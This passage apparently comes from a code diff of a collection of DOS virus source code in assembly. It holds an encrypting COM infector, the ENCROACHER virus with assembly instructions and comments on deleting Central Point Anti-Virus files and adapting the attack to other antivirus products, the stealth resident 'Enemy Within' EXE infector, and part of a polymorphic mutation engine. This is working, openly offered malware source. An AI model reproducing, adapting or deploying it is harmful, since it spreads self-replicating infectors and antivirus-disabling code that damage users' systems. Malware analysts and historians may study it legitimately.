int 67h ; map memory
mov ax, 3521h
int 21h ; get adress of int21
mov word ptr cs:[si+Old21], bx ; save it
mov word ptr cs:[si+Old21+2], es
mov es, cs:[si+offset PageFrame]
xor di, di
mov cx, 19Bh ; copy our code to our page
rep movsb
mov ax, 4400h
mov bx, 0FFFFh
int 67h ; unmap memory
mov di, 24h
mov bx, di
mov es, di
xor di, di
pop si
add si, 11h
mov cx, offset Int21Handler-offset LowMemCode
rep movsb ; move int21 handler to IVT
mov ds, bx
xor dx, dx
mov ax, 2521h ; point int21 to 24:0
int 21h
jmp InstalledOk
AlreadyInstalled:
add sp, 4 ; fix stack if error
InstalledOk:
pop ds
pop es
pop si
pop bx
ret ; return
VEnd = $
End VirusStart
+189
View File
@@ -0,0 +1,189 @@
;This virus encrypts the first 666 bytes of the host
;Its based off of the small virus
CSEG SEGMENT
ASSUME CS:CSEG, DS:CSEG
ORG 100h
JUMPS
Virus_Length equ End_Virus-Begin_Virus
Start:
jmp Begin_Virus
db 700 dup (90h)
Begin_Virus:
call Delta
Delta:
pop bp
sub bp,offset Delta
push si
push si
call Crypt
mov ah,1ah
lea dx,[bp+DTA]
int 21h
xor word ptr [bp+OldBytes],0deadh
xor word ptr [bp+OldBytes+2],0a55h
pop di
lea si,[bp+OldBytes]
movsw
movsw
mov ah,4eh
mov cx,7h
lea dx,[bp+ComMask]
Find_Next:
call Dec_
int 21h
call Inc_
jc Return
cmp word ptr [bp+DTA+1ah],1024
jb Find_Next_
mov ax,3d02h
lea dx,[bp+DTA+1eh]
int 21h
xchg ax,bx
mov ah,3fh
mov cx,4
lea dx,[bp+OldBytes]
int 21h
cmp byte ptr [bp+OldBytes],'M'
je Close_Find_Next
xor word ptr [bp+OldBytes],0deadh
xor word ptr [bp+OldBytes+2],0a55h
call Move_Begin
mov ah,3fh
mov cx,666
lea dx,[bp+HostBuffr]
push dx
int 21h
mov ah,2ch
int 21h
mov word ptr [bp+Key],dx
pop si
call Crypt
call Move_Begin
mov ah,40h
mov cx,666
lea dx,[bp+HostBuffr]
int 21h
mov ax,4202h
call Move_Fp
sub ax,4
mov word ptr [bp+NewBytes+2],ax
mov ah,40h
mov cx,Virus_Length
lea dx,[bp+Begin_Virus]
int 21h
mov ax,4200h
call Move_Begin
mov ah,40h
mov cx,4
lea dx,[bp+NewBytes]
int 21h
Close_Find_Next:
mov ah,3eh
int 21h
Find_Next_:
mov ah,4fh
jmp Find_Next
Dec_:
mov cx,5
lea si,[bp+ComMask]
mov di,si
Dec_Loop:
lodsb
dec al
stosb
loop Dec_Loop
xor al,al
stosb
ret
Inc_:
mov cx,5
lea si,[bp+ComMask]
mov di,si
Inc_Loop:
lodsb
inc al
stosb
loop Inc_Loop
mov al,"6"
stosb
ret
;ComMask db "*.COM",0
ComMask db "+/DPN6"
NewBytes db "M",0e9h,0,0
;OldBytes db 0cdh,20h,0,0
OldBytes dw 0fe60h
dw 0a55h
Move_Begin:
mov ax,4200h
Move_Fp:
xor cx,cx
cwd
int 21h
ret
Return:
mov ah,1ah
mov dx,80h
int 21h
ret
Crypt:
push bx
mov cl,4
mov dx,word ptr [bp+Key]
ror dx,cl
mov cx,333
mov di,si
Xor_Loop:
lodsw
xor ax,dx
stosw
loop Xor_Loop
pop bx
ret
Key dw 0000h
End_Virus:
DTA db 42 dup (?)
HostBuffr db 666 dup (?)
CSEG ENDS
END START
@@ -0,0 +1,338 @@
;***************************************************************************
; The ENCROACHER virus: Incorporating anti-virus software countermeasures
; to aid in gaining and maintaining a foothold on a CENTRAL POINT ANTIVIRUS
; protected system. Some of the ideas in ENCROACHER were inspired by Mark
; Ludwig's RETALIATOR virus (American Eagle Publishing) and Nowhere Man's
; VCL 1.0 viral assembly code library. ENCROACHER also utilizes the Mutation
; Engine for polymorphism. Edited by URNST KOUCH for Crypt Newsletter #8.
;
; 1. Assemble with TASM 2.5 with the aid of MAKE.BAT, included in issue #8.
; 2. The reader must also have the MtE091b object files (not included in
; the newsletter but commonly available as the Mutation Engine at most
; good virus info archive sites.)
; 3. Place all files in ENCROACHER assembly directory.
; 4. Execute MAKE.BAT with TASM 2.5 and TLINK.EXE in path.
;
; ENCROACHER is a simple .COM appending virus which strikes the Central Point
; Anti-virus software in a direct manner. CPAV stores a file called
; chklist.cps in every directory that contains executable programs. This file
; contains the integrity (or checksum) data on each program in that
; directory. It is the library file that CPAV refers to when scanning for
; unknown viruses. By comparing 'newly checksummed' files with its data
; in chklist.cps, CPAV locates change, corruption or generic virus infection.
; Eliminating these files before virus infection forces Central Point
; Antivirus to create new 'checklist' data for the directory, AFTER the
; virus has acted. Therefore, the virus-infected file becomes
; a legal part of Central Point's freshly calculated integrity data.
; Upon call, ENCROACHER will ALWAYS check for and erase these files, forcing
; the anti-virus software to constantly update its data, effectively
; making this feature unreliable. In my experience,
; the CPAV software does not protest the elimination of these files in an
; appropriate manner.
;
; ENCROACHER will also attempt to erase the main CENTRAL POINT A-V program
; in its default installation directory before infection. This is a
; direct attack and is more likely to be noticed than the
; disappearance and reappearance of dozens of very small chklist.cps
; files. Because it is a strong move, one can be of mixed mind about using it.
; An alert user SHOULD recognize something wrong almost immediately.
; However, it is included to illustrate the point that while it presumes
; apriori knowledge concerning the location of CPAV software on the system,
; many users can STILL be expected to be lazy (and/or stupid) and use the
; vulnerable shrink-wrapped software recommendations for installation.
;
; ENCROACHER will also target and delete VSAFE.COM, CPAV's most powerful
; program for the detection of virus-mediated opening, closing and writing
; to files. (The CPAV software also contains VSAFE as a device, VSAFE.SYS.
; The user may add attack of this component to the source code if he wishes.)
; If Central Point's DEFAULT installation is in place and VSAFE is in
; memory, ENCROACHER will remove it since, generally, the program
; is merely configured to scan for known viruses, add chklist.cps files
; to program directories and lock out writes to the boot record. If all
; of VSAFE's features are enabled, ENCROACHER WILL BE detected when it
; attempts to destroy VSAFE. However, since these VSAFE features are
; not practical for everyday computing needs, it can be
; assumed relatively safe to disregard them as a threat to ENCROACHER. (The
; reader is invited to add a routine which will make a call to VSAFE
; if in memory. If VSAFE is resident, the routine could be written to
; instruct the virus to go to sleep until the danger is past.)
;
; Central Point Anti-virus contains a third program known as VWATCH. It
; can be safely ignored by ENCROACHER.
;
; ENCROACHER's anti-virus software countermeasures can be quickly adapted
; to almost any commercial software of choice. Access to manuals or
; copies of the Norton Antivirus, Fifth Generation's Untouchable or
; Leprechaun Software's Virus-Buster have all the information needed to
; allow the homebrew researcher to reconfigure the virus so that it can
; attack these programs in an educated manner.
;
; ENCROACHER2 is a variant of ENCROACHER supplied as a DEBUG script.
; In addition to it's anti- CPAV capability, ENCROACHER2 will poison selected
; programs sometime in the evening hours.
;
; General features: ENCROACHER will infect all .COM programs in its current
; directory. When finished, it will jump to the root of the current directory
; and continue its work.
; ENCROACHER WILL NOT restore the DTA, producing a shift at the prompt.
; (Sorry, deadline was approaching for the newsletter and I had to get this
; baby to bed.)
;
; ENCROACHER has no problem infecting COMMAND.COM or NDOS.COM! The operating
; system WILL continue to load properly. ENCROACHER quickly deletes
; Central Point software programs on start-up. There is no noticeable
; delay in infection times between it and a copy of the virus lacking
; these features.
; ENCROACHER will quickly infect down the trunk of any directory structure.
;
; Keep in mind, that ENCROACHER 2 can be frustratingly destructive once
; it has spread out onto a system.
.model tiny
.radix 16
.code
extrn mut_engine: near, rnd_get: near, rnd_init: near
extrn rnd_buf: word, data_top: near
org 100h
start:
call locadr
reladr:
db 'ENCROACHER is here'
locadr:
pop dx
mov cl,4
shr dx,cl
sub dx,10
mov cx,ds
add cx,dx ;Calculate new CS
mov dx,offset begin
push cx dx
retf
begin:
cld
mov di,offset start
push es di
push cs
pop ds
mov si,offset old_cod
movsb ;Restore first 3 bytes
movsw
push ax
mov dx,offset dta_buf ;Set DTA
mov ah,1a
int 21
mov ax,3524 ;Hook INT 24
int 21
push es bx
mov dx,offset fail_err
mov ax,2524
int 21
killcps: ; clear CPS integrity files from startup directory
mov dx,offset killfile ; DX points to data mask: chklist.cps
mov ah,04Eh ; DOS find first file function
mov cx,00100111b ; All file attributes valid
int 021h
jc erase_done ; Exit procedure on failure
mov ah,02Fh ; DOS get DTA function
int 021h
lea dx,[bx + 01Eh] ; DX points to filename in DTA
erase_loop:
mov ah,041h ; DOS delete file function
int 021h
mov ah,03Ch ; DOS create file function
xor cx,cx ; No attributes for new file
int 021h
mov ah,041h ; DOS delete file function
int 021h
mov ah,04Fh ; DOS find next file function
int 021h
jnc erase_loop ; Repeat until no files left
erase_done:
jmp killcpav ; chklist.cps gone, go for CPAV.EXE
; in factory installation
killcpav: ; clear CPAV master executable from default directory
mov dx,offset killfile2 ; DX points to filename
mov ah,41h ; DOS erase file function
int 21h
jc killvsafe
killvsafe:
mov dx,offset killfile3
mov ah,41h
int 21h
jc erase_done2
erase_done2:
jmp getonwithit
getonwithit: ;get on with infecting files
xor ax,ax ;Initialize random number generator
mov [rnd_buf],ax ;for Mutation Engine use
call rnd_init
push sp
pop cx
sub cx,sp
add cx,4
push cx
find_lup1:
mov dx,offset srchnam ;COMfile mask for clean file search
mov cl,3
mov ah,4e ;find a file
find_lup2:
int 21 ;Find the next COM file
jc ch_dir ;if no files or no uninfected files in current dir, change to root
cmp [dta_buf+1a],ch
jnz infect ;If not infected, infect it now
pop cx
find_nxt:
push cx
mov dx,offset dta_buf
mov ah,4f ;found an infected file, find another
jmp find_lup2
ch_dir:
mov dx,offset dotdot
mov ah,3bh ; Change directory to root of current
int 21h
jnc find_lup1 ; Carry set if in root
; loop to search for clean files
infect_done:
pop cx
loop find_nxt
jnc exit2
call rnd_get ;extraneous garbage code
test al,1 ; " " "
jz exit2 ; " " "
exit1: popf ;return control and get set to clean up
exit2:
pop dx ds
mov ax,2524 ;Restore old INT 24
int 21
push ss
pop ds
mov dx,80 ;Restore DTA
mov ah,1a
int 21
push ds ;Exit to host program
pop es
pop ax
retf
infect:
xor cx,cx ;Reset read-only attribute
mov dx,offset dta_buf+1e
mov ax,4301
int 21
jc infect_done ;if fail, get set to leave
mov ax,3d02 ;Open the file
int 21
jc infect_done ;if fail, get set to leave
xchg ax,bx
mov dx,offset old_cod ;Read first 3 bytes
mov cx,3
mov ah,3f
int 21
jc read_done ;file already infected, skip it
mov ax,word ptr [old_cod] ;Make sure it's not an EXE file
cmp ax,'ZM'
jz read_done ;if it is, skip it
cmp ax,'MZ'
jz read_done
xor cx,cx ;Seek to end of file
xor dx,dx
mov ax,4202
int 21
test dx,dx ;Make sure the file is not too big
jnz read_done
cmp ax,-2000
jnc read_done
mov bp,ax
sub ax,3
mov word ptr [new_cod+1],ax
mov ax,5700 ;Save file's date/time
int 21
push dx cx
mov ax,offset data_top+0f
mov cl,4 ;Now call the Mutation Engine
shr ax,cl
mov cx,cs
add ax,cx
mov es,ax
mov dx,offset start ;dx points to start of ENCROACHER
mov cx,offset _DATA ;cx contains ENCROACHER length
push bp bx
add bp,dx ;bp contains address where MtE hands control to ENCROACH
xor si,si ;si=0, MtE required value
xor di,di ;di=0, MtE required value
mov bl,0f ;bl=0f,MtE 'medium' model required
mov ax,101 ;set bit-field in ax, MtE values
call mut_engine
pop bx ax
add ax,cx ;Make sure file length mod 256 = 0
neg ax
xor ah,ah
add cx,ax
mov ah,40 ;Put the virus into the file
int 21
push cs
pop ds
sub cx,ax
xor dx,dx ;Write the JMP instruction
mov ax,4200
int 21
mov dx,offset new_cod
mov cx,3
mov ah,40
int 21
write_done:
pop cx dx ;Restore file's date/time
mov ax,5701
int 21
jmp read_done2
read_done:
mov ah,3e ;Close the file
int 21
jmp infect_done ;in this case, no infection so
;try for another search
read_done2:
mov ah,3e
int 21
jmp exit1 ;successfully infected file,
;jump to host execution
fail_err: ;Critical error handler
mov al,3 ;protects ENCROACHER from exposing
iret ;itself on a write-protected disk
;or diskette
srchnam db '*.COM',0
killfile db 'CHKLIST.CPS',0 ;CPAV file integrity data archive
killfile2 db 'C:\CPAV\CPAV.EXE',0 ;default location and name of
;CPAV master program
killfile3 db 'C:\CPAV\VSAFE.COM',0 ;CPAV r/w resident protection program
old_cod: ;Buffer to read first 3 bytes
ret
dw ?
new_cod: ;Buffer to write first 3 bytes
jmp $+100
.data
dotdot db '..',0 ;change directory trick
dta_buf db 2bh dup(?) ;Buffer for DTA
end start
+437
View File
@@ -0,0 +1,437 @@
; [Enemy Within] v1.00 by Crypt Keeper -Phalcon/Skism-
;
; Enemy Within is a memory resident virus that infects EXE and overlay files
; with directory size increases hidden. I'll be using this as a base for
; future more advanced viruses.
;
; Enemy Within infects EXEs and overlays on file Open, Get/Set
; attributes, and execute.
;
; TASM ENEMY.ASM /M3
; TLINK ENEMY.OBJ /t
; .COM file can be executed with no modifications
.model tiny
.code
org 100h ;make this a com file
enemy_within:
;----------------------------------------------------------------------------
vlength equ vbot-offset(enemy_within) ;Virus length in bytes
heapsiz equ hbot-htop ;size of heap data in bytes
ressize equ 1024/16 ;Virus size resident
virusid equ 08AC5h ;Virus ID word in EXE header
chkfunc equ 0FFFEh ;Check resident function for int 21h
;----------------------------------------------------------------------------
push ds es ;save startup registers
db 0BDh ;mov bp,
delta dw 0 ;delta offset
xor ax,ax
dec ax
dec ax ;AX=FFFE (check resident function)
int 21h ;check if virus is resident
inc ax ;is virus resident (zero if yes)
jz return ;if so, don't install
;Microsoft Windows/Desqview compatable load resident routine
install:
mov bx,ressize ;amount of memory to request
mov ah,48h ;allocate memory
int 21h
jc not_enough_memory ;carry set means allocation error
mov es,ax ;ax=segment of allocated memory
dec ax
mov ds,ax ;segment of MCB for memory
mov word ptr ds:[01h],08h ;set memory block as independant
jmp short memory_allocation_complete
not_enough_memory:
pop ax
push ax ;get PSP value off stack
mov es,ax ;ES=PSP for set memory block size
dec ax
mov ds,ax ;get segment of this program's MCB
mov bx,word ptr ds:[03h] ;get size of current block
dec bx ;decrease size of memory block
mov ah,4Ah ;set memory block size
int 21h
jc return ;return if allocation error
jmp short install ;try to allocate again
memory_allocation_complete:
push cs
pop ds
push es ;save found target segment
mov ax,3521h ;get int 21h vector
int 21h
mov [bp+offset(i21vecs)],es
mov [bp+offset(i21veco)],bx
pop es
mov cx,(vlength+heapsiz+1)/2 ;words to move
mov di,100h ;destination in memory
lea si,[bp+offset(enemy_within)] ;source of viral code
rep movsw ;copy ourselves up there
push es
pop ds ;segment to set int vector
mov dx,offset(i21vec) ;int 21h vector
mov ax,2621h ;set int 21h vector
dec ah ;without setting off mem resident
int 21h ;code heuristic flags
return: pop bx ;segment of PSP
mov es,bx
add bx,16 ;compensate for PSP size
add cs:[bp+offset(old_cs)],bx ;add PSP to initial CS
pop ds ;restore old DS register
cli ;clear interrupt enable flag
mov ax,cs:[bp+offset(old_ss)] ;old SS register
add ax,bx ;add PSP adress
mov ss,ax
db 0BCh ;mov sp,
old_sp dw 0 ;old stack pointer
sti ;set interrupt enable flag
jmp dword ptr cs:[bp+offset(old_ip)] ;jump to original EXE code
;----------------------------------------------------------------------------
vname db '[Enemy Within] Crypt Keeper - Phalcon/Skism'
old_ip dw 0
old_cs dw 0FFF0h ;Old CS:IP
old_ss dw 0FFF0h ;old stack segment
;----------------------------------------------------------------------------
i21vec: cmp ax,chkfunc ;check resident function?
jne no_check_func
inc ax ;increment AX
iret ;return from interrupt
no_check_func:
inc ah ;avoid execute intercept heuristic flags
cmp ax,4C00h ;load and execute program?
je _infect_on_exec
cmp ax,4C01h ;load program?
je _infect_on_exec
cmp ax,4C03h ;load overlay?
je _infect_on_exec
dec ah ;return AX to normal
cmp ah,3Dh ;open file with handle?
je _infect_on_open
cmp ax,4300h ;get file attributes?
je _infect_on_open
cmp ax,4301h ;set file attributes?
je _infect_on_open
cmp ah,11h ;find first file (FCB)?
je FCB_dir_stealth
cmp ah,12h ;find next file (FCB)?
je FCB_dir_stealth
cmp ah,4Eh ;find first file (DTA)?
je DTA_dir_stealth
cmp ah,4Fh ;find next file (DTA)?
je DTA_dir_stealth
exit_interrupt_chained:
jmp dword ptr cs:i21veco ;execute rest of interrupt chain
_infect_on_exec:
dec ah ;return AX to normal
_infect_on_open:
jmp infect_file ;and attempt to infect
FCB_dir_stealth:
call function ;go ahead and execute
pushf
push dx cx bx es ax ;push all used registers
test al,al ;was find successful?
jnz exit_interrupt_stealth
mov ah,51h ;Get PSP address
int 21h
mov es,bx ;ES=PSP address
sub bx,word ptr es:[16h] ;parent PSP?
jnz exit_interrupt_stealth
mov bx,dx
mov al,byte ptr [bx] ;first byte of FCB
push ax
mov ah,2Fh ;get DTA adress
int 21h
pop ax
inc al
jnz checkFCBinfected ;extended FCB?
add bx,007h ;If so, make into normal
checkFCBinfected:
mov ax,word ptr es:[bx+17h]
mov cx,word ptr es:[bx+19h] ;Get time and date
call unmask ;unmask second and date
xor ax,cx ;file infected?
jnz exit_interrupt_stealth ;exit stealth interrupt
sub word ptr es:[bx+01Dh],vlength
sbb word ptr es:[bx+01Fh],ax ;subtract virus size
exit_interrupt_stealth:
pop ax es bx cx dx
popf ;pop all used registers
exit_interrupt_stealthvec:
retf 02h ;return with given flags
unmask: and ax,1Fh
and cx,1Fh
dec cx ;unmask seconds and date
ret
DTA_dir_stealth: ;DTA directory size subtract
call function ;go ahead and execute
jc exit_interrupt_stealthvec ;exit if function unsuccessful
pushf
push dx cx bx es ax ;push all used registers
mov ah,2Fh ;get DTA adress
int 21h
mov ax,word ptr es:[bx+16h]
mov cx,word ptr es:[bx+18h] ;get time and date stamps
call unmask ;unmask date and seconds
xor ax,cx ;is file infected?
jnz exit_interrupt_stealth ;if not, don't subtract size
sub word ptr es:[bx+1Ah],vlength
sbb word ptr es:[bx+1Ch],ax ;subtract virus size in bytes
jmp short exit_interrupt_stealth
move_pointer_end:
xor cx,cx
cwd ;zero cx and dx
mov ax,4202h ;move pointer from EOF
function:
pushf
call dword ptr cs:i21veco ;simulate call to original int 21h
ret
open_readwrite: ;opens file at DS:DX for read/write
mov ax,3D00h ;open for read only access
call function
jc bad_open ;carry set means open error
push cs
pop ds
push ax ;file handle
mov bx,ax
mov ax,1220h ;get JFT entry
int 2Fh
mov ax,1216h ;get SFT location
mov bl,byte ptr es:[di] ;handle number
int 2Fh
pop bx
mov word ptr es:[di+02h],2 ;set file for read/write
ret
bad_open:
pop ax
jmp short exit_infect ;exit if bad open
infect_file:
push ax si es di bx cx ds dx ;push all used registers
call open_readwrite ;open file for read/write access
mov cx,24 ;24 bytes of header to read
mov dx,offset(exeheader) ;EXE header information
mov ah,3Fh ;read file or device
int 21h
cmp cx,ax ;enough bytes read?
jne bad_file ;if not, file too small
mov cx,exeid
not cx ;check whether EXE file without
cmp cx,0B2A5h ;tripping TBAV's check com/exe
je disease_exe ;heuristic flag
cmp cx,0A5B2h
je disease_exe ;if MZ or ZM, go ahead and infect
bad_file:
mov ah,3Eh ;close file with handle
int 21h
exit_infect:
pop dx ds cx bx di es si ax ;pop all used registers
jmp exit_interrupt_chained ;execute rest of interrupt chain
disease_exe:
cmp chksum,virusid ;file already infected?
je bad_file ;if so, bad file
lds si,dword ptr es:[di+0Dh] ;get old file date and time
push si ds ;and save
push cs
pop ds
add minallc,ressize ;add virus size in paragraphs
push es ;save SFT segment
les si,dword ptr ds:initss ;get initial SS:SP (reversed)
mov old_ss,si
mov old_sp,es
les si,dword ptr ds:initip ;get initial CS:IP
mov old_cs,es
mov old_ip,si
pop es
call move_pointer_end ;move file pointer to end of file
mov cx,16
div cx ;convert file size to seg:offset
sub ax,headers ;subtract header size from segment
mov initcs,ax
mov initip,dx ;set initial cs:ip
sub dx,100h
mov delta,dx ;set delta offset in virus code
add dx,offset(sspace)+64+100h
mov initsp,dx
mov initss,ax ;set initial SS:SP in exe header
mov chksum,virusid ;set file as already infected
mov dx,100h ;offset of virus code in memory
mov cx,vlength ;length of virus code
mov ah,40h ;write file or device
push ax
int 21h
call move_pointer_end ;get file size
mov cx,512
div cx ;convert to pages
test dx,dx ;no remainder?
jz no_remainder
inc ax ;if remainder add another page
no_remainder:
mov expages,ax
mov exbytes,dx ;set new exe size
cwd
mov word ptr es:[di+15h],dx
mov word ptr es:[di+17h],dx ;zero file pointer in SFT
mov dx,offset(exeheader) ;exe header information
mov cx,24 ;24 bytes to change
pop ax ;write file or device
int 21h
pop dx cx ;old file date/time
push dx ;save original file date
and cx,-20h ;reset seconds
and dx,1Fh
dec dx ;unmask date field
or cx,dx ;seconds=date
pop dx ;restore old date
mov ax,5701h ;set file date and time
int 21h
jmp bad_file ;close and exit
;----------------------------------------------------------------------------
vbot equ $ ;bottom of virus code
htop equ $ ;top of heap
i21veco dw 0
i21vecs dw 0 ;old int 21h vector
exeheader:
exeid dw 0 ;Unchanged ;EXE signature
exbytes dw 0 ;number of bytes in last page
expages dw 0 ;number of pages in file
reloci dw 0 ;Unchanged ;number of items in relocation table
headers dw 0 ;Unchanged ;size of header in paragraphs
minallc dw 0 ;minimum memory to be allocated
maxallc dw 0 ;Unchanged ;maximum memory to be allocated
initss dw 0 ;initial SS value
initsp dw 0 ;initial SP value (used as ID word)
chksum dw 0 ;complimented checksum
initip dw 0 ;initial IP value
initcs dw 0 ;initial CS value
reltabl dw 0 ;Unchanged ;byte offset to relocation table
ovnum dw 0 ;Unchanged ;overlay number
hbot equ $ ;bottom of heap data
sspace db 70 dup (0) ;virus stack
end enemy_within ;end of virus code
+939
View File
@@ -0,0 +1,939 @@
;----------------------------<<eng.asm>>---------------------------------------
_ax equ 0
_cx equ 1
_dx equ 2
_bx equ 3
_sp equ 4
_bp equ 5
_si equ 6
_di equ 7
engine: mov ds:pointer,ax ; save IP
mov di,offset decrypt
mov bx,offset make_count
mov cx,offset make_key
mov dx,offset make_ptr
mov si,offset order_ret
or bp,11101111b ; SP is used
call order ; randomize and call registers
push di ; save start of loop
push di
mov si,offset encode
mov di,offset write_buff
mov cx,encode_end-encode
rep movsb ; copy write code
mov ds:encode_ptr,offset (encode_break-encode)+write_buff
pop di
mov bx,offset make_enc
mov cx,offset make_keychange
mov dx,offset make_deccount
mov si,offset make_incptr
call order ; call routines
;=====( Preform loop )=======================================================;
mov ax,2
push ax
call random ; test BP for 4000?
pop ax
jz loop_no_test
test bp,4000h ; possible to just "Jcc"?
jnz loop_make_jcc
loop_no_test: call random
jz loop_no_test1
test bp,2000h ; use loop?
jnz loop_make_jcc
loop_no_test1: or bp,800h ; do not change flags
mov ax,2
cwd
call random ; try OR/AND/TEST reg,reg
; or XOR/ADD/OR/SUB reg,0?
mov al,ds:count_reg ; get counter
jnz loop_orandtest
call boolean ; do XOR/OR/ADD or ADD/SUB?
jnz loop_modify
call add_reg ; ADD/SUB reg,0
jmp loop_make_jcc
loop_modify: call modify_reg ; XOR/OR/ADD reg,0
jmp loop_make_jcc
loop_orandtest: mov cl,3
mov ch,al
shl ch,cl
or al,ch ; set reg1 as reg2 also
mov bx,2 ; OR/AND/TEST
call random_bx
jnz loop_and
or ax,9c0h ; OR reg1, reg2
loop_reverse: call boolean ; use 9 or 11?
jnz loop_orandteststo
or ah,2h ; reg2, reg1
jmp loop_orandteststo
loop_and: dec bx
jnz loop_test
or ax,21c0h ; AND reg1, reg2
jmp loop_reverse
loop_test: or ax,85c0h ; TEST reg1, reg2
loop_orandteststo:
xchg al,ah
stosw ; store TEST/OR/AND
or bp,1800h ; do not change flags/
; test stored
call garble
loop_make_jcc: and bp,not 800h
test bp,2000h ; code loop?
jz loop_make_jump
mov al,0e2h ; LOOP
test bp,1000h ; possible to use LOOPNZ/Z?
jz loop_code_disp
call boolean
jnz loop_code_disp
dec ax ; LOOPZ
call boolean
jnz loop_iscx
dec ax ; LOOPNZ
jmp loop_code_disp
;=====( Now make conditional jump )==========================================;
jcc_tbl: db 75h,79h,7dh,7fh ; JNE/JNS/JG/JGE
loop_make_jump: mov bx,offset jcc_tbl
mov ax,3
call random
xlat ; get Conditional jump
mov bx,2
call random_bx ; use JE/JS/LE/L then JMP?
jnz loop_code_disp
cmp ds:count_reg,_cx ; CX is counter?
jnz loop_notcx
mov bl,4
call random_bx
jnz loop_notcx
mov al,0e3h + 1 ; JCXZ + 1
loop_notcx: dec ax
loop_iscx: stosw
cmp al,07fh ; Jcxz/loopz?
ja loop_code_short
call boolean ; Use opposite or EB?
jnz loop_code_short
or bp,800h ; dont change flags
loop_code_short:mov si,di ; save offset of displacement
call garble
lea ax,ds:[si-2]
sub ax,di
neg al ; get jump displacement
mov ds:[si-1],al ; save it
test bp,800h ; Dont change flags -> "Jcc"
mov al,0ebh ; Jmp short
je loop_code_disp
mov ax,3
call random
mov bx,offset jcc_tbl
xlat ; Get JNE/JNS/JG/JGE
loop_code_disp: stosb ; store jump
pop ax ; start of loop
dec ax
sub ax,di ; get loop displacement
stosb
or bp,11101111b ; free all registers
and bp,not 800h ; allow flags to change
call garble
mov ax,19
call random ; 1 in 20 chance of non-jmp
jnz loop_code_jmp
mov ax,ds:pointer
add ax,offset file_start ; where to jump
xchg dx,ax
call get_reg ; get a register
call mov_reg ; Mov value into register
or ax,0ffc0h + (4 shl 3) ; JMP reg16
call boolean ; PUSH/RET or JMP reg16?
jnz loop_code_push
xchg al,ah
jmp loop_code_stosw
loop_code_push: mov bx,2
call random_bx ; 1 in 3 chance of FF /6 PUSH
jnz loop_code_push1
xor al,(6 shl 3) xor (4 shl 3) ; PUSH reg
xchg al,ah
stosw
jmp loop_code_ret
loop_code_push1:xor al,50h xor (0c0h or (4 shl 3)) ; PUSH reg
stosb
loop_code_ret: call garble
mov al,0c3h ; RETN
stosb
jmp loop_code_end
loop_code_jmp: mov al,0e9h
stosb ; Store Jump
lea ax,ds:[di-((file_start-2)-v_start)]
neg ax ; Jmp file_start
loop_code_stosw:stosw
loop_code_end: mov si,ds:encode_enc_ptr ; get encrypt instruction ptr
cmp di,offset header ; Decryptor is too large?
jb go_write_buff
stc ; return error
pushf
pop bp
retn
go_write_buff: jmp write_buff ; encrypt/write/decrypt
;=====( Inc pointer )========================================================;
make_incptr: mov ax,word ptr ds:ptr_reg ; get pointer registers
mov dx,2 ; ADD ptr,2
cmp ah,-1 ; two registers used?
jz make_incptr_1
call boolean ; do one or both?
jnz make_incptr_do1
dec dx ; ADD ptr,1
call make_incptr_do1
jmp make_incptr_2
make_incptr_do1:call boolean
jnz make_incptr_1
make_incptr_2: xchg al,ah
make_incptr_1: call add_reg
sub ds:disp,dx ; add to displacement
retn
;=====( Dec counter )========================================================;
make_deccount: cmp si,offset make_deccount ; last operation?
jnz make_deccount_notlast
call boolean ; do it?
jnz make_deccount_notlast
or bp,4800h ; remember we're last
make_deccount_notlast:
mov al,ds:count_reg
cmp al,_cx ; possible to use LOOP/LOOPNZ?
jnz make_deccount_notcx
call boolean
jnz make_deccount_notcx
or bp,2000h ; do LOOP
jmp make_deccount_exit
make_deccount_notcx:
mov dx,-1 ; ADD counter,-1
call add_reg
make_deccount_exit:
or bp,400h ; deccount executed
retn
;=====( Make encryption instruction )========================================;
make_enc: push bp
and bp,not 400h
mov al,ds:key_reg
push ax ; save key register
make_enc_which: mov ax,4 ; ADD/SUB/XOR/ROR/ROL
call random
mov bx,0105h ; ADD [DI],AX
mov cx,1119h ; ADC/SBB
mov dx,2905h ; SUB [DI],AX
jz make_enc_add
dec ax
jz make_enc_sub
dec ax
jnz make_enc_ror
mov bh,31h ; XOR
mov dx,3105h ; XOR [DI],AX
jmp make_enc_sto
make_enc_ror: cmp ds:key_reg,_cx ; CX is key?
jne make_enc_which
or bp,400h ; Put XCHG CX,AX
mov bh,0d3h
mov dx,0d30dh ; ROL
dec ax
jz r_make_enc_sto
xchg bx,dx ; ROR
r_make_enc_sto: mov ds:key_reg,al ; 1 SHL 3 = 08 / D3 08
; D3 00 = ROL [],CL
jmp make_enc_sto
make_enc_sub: xchg dh,bh ; SUB - ADD [DI],AX
xchg cl,ch ; SBB/ADC
make_enc_add: call boolean ; do Carry?
jnz make_enc_sto
push bx
mov bh,ch ; Make it ADC/SBB
call clear_carry
cmp al,0
org $ - 1
make_enc_sto: push bx
test bp,8000h ; EXE file?
jz make_enc_com
call is_bp_ptr ; is BP a pointer?
je make_enc_com
mov al,2eh ; CS:
call boolean
jnz make_enc_cs
mov al,36h ; SS:
make_enc_cs: stosb ; store segment override
make_enc_com: mov al,bh
stosb ; store instruction
mov ax,word ptr ds:ptr_reg ; get pointer registers
cmp ah,-1 ; second reg?
je make_enc_xlat
add al,ah
make_enc_xlat: mov bx,offset rm_tbl
xlat ; get r/m
call is_bp_ptr ; is BP a pointer?
jnz make_enc_nobp
inc ah ; is there a second reg?
jne make_enc_nobp
or al,01000000b ; [BP+xx]
make_enc_nobp: mov cx,ds:disp ; get displacement
mov bx,6
call random_bx ; allow no displacement?
jz make_enc_get_disp
jcxz make_enc_sto_rm
make_enc_get_disp:
or al,01000000b ; 8bit displacement
call boolean ; allow 8bit displacement?
jnz make_enc_16bit
cmp cx,7fh ; 8bit displacement?
jbe make_enc_sto_rm
cmp cx,-80h
jb make_enc_16bit
xor ch,ch
cmp ax,0
org $ - 2
make_enc_16bit: xor al,11000000b ; 8bit off, 16bit on
make_enc_sto_rm:mov ah,ds:key_reg
shl ah,1
shl ah,1
shl ah,1 ; from bits 0-2 of AH
or al,ah ; to bits 3-5 of AL
stosb ; store r/m byte
test al,11000000b ; any displacement?
jz make_enc_disp
test al,10000000b ; 16bit displacement?
xchg cx,ax
stosw ; store displacement
jnz make_enc_disp
dec di ; 8bit only
make_enc_disp: xchg di,ds:encode_ptr ; get encode ptr
test bp,400h ; store XCHG CX,AX?
je make_enc_nor
mov al,91h ; XCHG CX,AX
stosb
make_enc_nor: xchg dx,ax
xchg al,ah
mov ds:encode_enc_ptr,di ; save instruction pointer
stosw ; set encryption instruction
je make_enc_nor1
mov al,91h ; XCHG CX,AX
stosb
